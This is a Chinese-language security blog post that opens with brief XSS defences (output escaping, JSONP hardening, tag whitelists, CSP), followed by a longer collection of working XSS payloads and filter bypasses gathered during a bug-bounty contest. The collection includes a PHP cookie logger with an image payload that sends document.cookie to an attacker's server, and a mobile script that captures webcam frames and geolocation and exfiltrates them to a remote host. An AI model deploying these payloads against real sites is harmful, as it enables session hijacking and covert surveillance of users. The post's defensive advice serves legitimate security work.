XSS Tips 及修复方案
langu_xyz

关于一些XSS防御的方法

JSON/JSONP 接口不规范导致 XSS

1
2
3
callback 未转义导致 XSS
JSONP 输出开头未换行导致 flash 构造攻击
JSON/JSONP 键值未转义导致 XSS

解决方案:

1
2
3
4
后端通过 token 或 referer 检查防止 CSRF
对 callback 字段的输出进行限制,对 JSON 内容的键值进行转义,上文中的escapeJson
ContentType 标准化
JSONP输出最前面加了两个 \r\n 防止 flash 构造攻击

前端模版里的变量展示方式错误导致 XSS

通过预定义函数转义或者利用安全包过滤

前端代码不规范导致 DOM XSS

关键问题在于把数据插入到 DOM 的时候,没有做转义或者过滤

需要转义五个字符: < > ' " & ,漏掉其中任何一个都有可能导致问题。

富文本

1
2
3
4
5
6
7
解析html,得到所有的html标签和属性。对于不在白名单中的标签,直接删除或者转义。

属性值里面的特殊字符要进行转义,防止跃出。比如<img width="100">如果我修改100为100" onerror=alert(1)"就变成了<img width="100" onerror=alert(1)"">了。

对于部分引入外链的属性,如src,href等判断链接是否合法,过滤<a href=javascript:alert(1)>的情况,而且最好是只能使用指定域名下的外链。

嵌入falsh的embed标签设置allowscriptaccess=never,allownetworking=none

后台盲打XSS

除常规方案外,后台页面要求配置禁止外部链接的CSP策略,确保即使存在漏洞,一般的外部攻击也无法利用。应用所有页面,在response的http头中,都需要附加上CSP策略

=========================

这几天在玩AFSRC的xss漏洞比赛,虽然构造出了许多绕过方法,奈何手速太慢,重复率太感人,在这开一篇,记录下日常遇到的tips

%00(%0f)截断:

适用:IE 6

1
<scri%00pt>alert(1);</scri%00pt>

IE11 ASP.NET Request Validator bypass:

<% style=behavior:url(: onreadystatechange=alert(1)>

mhtml:https(IE 8)

<iframe src=mhtml:https://louchaooo.github.io/life.html!html></iframe>

IE8

<comment><img src="</comment><img src=x onerror=alert(1)//">

marquee onStart marquee onStart 重复标签绕过

<marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart>

IE6

<STYLE>li {list-style-image: url("javascript:alert('styleeeeeeee')");}</STYLE><UL><LI>111</br>

IE 8

"><!--[if<img src=x onerror=javascript:alert(1)//]> -->

IE 8

<!--[if]><script>javascript:alert(1)</script -->

IE 8

<div style="color:rgb(''&#0;x:expression(alert(1))"></div>

IE 7

<s%00c%00r%00%00ip%00t>confirm(1);</s%00c%00r%00%00ip%00t>

编码绕过

"><DIV STYLE="width:\0065\0078\0070\0072\0065\0073\0073\0069\006F\006E\0028\0070\0072\006F\006D\0070\0074\0028\0031\0029\0029">

IE 7

<div style="x:expression(alert(1))">Joker</div>


firefox

还有一些,无非也是浏览器特性,就先不放这了

============一些其它的paylaod============
探针

'';!--"<XSS>=&{()}

<!--<img src="--><img src=x onerror= (alert)(/xss/)//">

<iframe src=javascript:alert('xss');height=0 width=0 /><iframe> 过滤掉on事件

[img]javascript:alert1//http://url/onerror=//a_/img/default/usr50.gif[/img]

<link type='application/json+oembed' href='http://ip/oembed.json'>

1
2
3
4
5
6
7
{
"type": "image",
"image": "xss",
"description": "descr' onerror='alert(/XSS by skavans/)",
"image_width": 1,
"image_height": 1
}

============盗取cookie=============
1、xss平台
2、
a.php <?php fwrite(fopen('ali.txt','a'),$GET['c']).'\r\n'; ?>
xss payload <img src="1" onerror="var a=new Image;a.src="http://IP/a.php?c='+document.cookie+'---'+location.pathname">

===========比较短的payload==========

<iframe>(8)

"onload='(alert)(8)'//>

=============Flash Xss=============
The ZeroClipboard.swf and ZeroClipboard10.swf are vulnerable to XSS attack, example:
http://website/js/ZeroClipboard.swf#?id=\"))}catch(e){alert(/XSS/.source);}//&width=500&height=500
http://website/js/ZeroClipboard10.swf#?id=\"))}catch(e){alert(/XSS/.source);}//&width=500&height=500
http://website/js/ZeroClipboard.swf?id=\"))}catch(e){alert(/XSS/.source);}//&width=500&height=500
http://website/js/ZeroClipboard10.swf?id=\"))}catch(e){alert(/XSS/.source);}//&width=500&height=500

vulnerable code:

public function ZeroClipboard(){
….
var flashvars:Object = LoaderInfo(this.root.loaderInfo).parameters;
id = flashvars.id;
….
ExternalInterface.call(“ZeroClipboard.dispatch”, id, “load”, null);

this files get a id parameter from url and passed it to second parameter inside ExternalInterface.call without any validation(only numbers) or proper escaping\encoding).

==========html5===========

1
2
3
4
5
6
<script type="text/javascript">
function xss() {
window[0].postMessage({ redirectURL: "javascript:alert(/xss/)" }, "*")
}
</script>
<iframe src="https://xxxxxx/ilogin_2.htm" onload="xss()"></iframe>

===========绕过chrome auditor的payload========
<script>alert('evil')</script

===================

No space and No Slash :

<svg•onload=alert(1)> %0C
https://markitzeroday.com/character-restrictions/xss/2017/07/26/xss-without-dots.html

跳出<input>标签">

==========XSS in Mobile Devices==========

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<body onorientationchange=alert(orientation)>
<html ontouchstart=alert(1)>
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<html ontouchcancel=alert(1)>
<svg onload=alert(navigator.connection.type)>
<svg onload=alert(navigator.battery.level)>
<svg onload=alert(navigator.battery.dischargingTime)>
<svg onload=alert(navigator.battery.charging)>
<script>
navigator.geolocation.getCurrentPosition(function(p){
alert('Latitude:'+p.coords.latitude+',Longitude:'+
p.coords.longitude+',Altitude:'+p.coords.altitude);})
</script>
(remember to change “+” for “%2B” in URLs)
<script>
d=document;
v=d.createElement(‘video’);
c=d.createElement(‘canvas’);
c.width=640;
c.height=480;
navigator.webkitGetUserMedia({‘video’:true},function(s){
v.src=URL.createObjectURL(s);v.play()},function(){});
c2=c.getContext(‘2d’);
x=’c2.drawImage(v,0,0,640,480);fetch(“//HOST/”+c2.canvas.toDataURL())‘;
setInterval(x,5000);
</script>
open(c2.canvas.toDataURL())
<svg onload=navigator.vibrate(500)>
<svg onload=navigator.vibrate([500,300,100])>

  • Post title:XSS Tips 及修复方案
  • Post author:langu_xyz
  • Create time:2017-03-05 21:00:00
  • Post link:https://blog.langu.xyz/XSS Tips 及修复方案/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.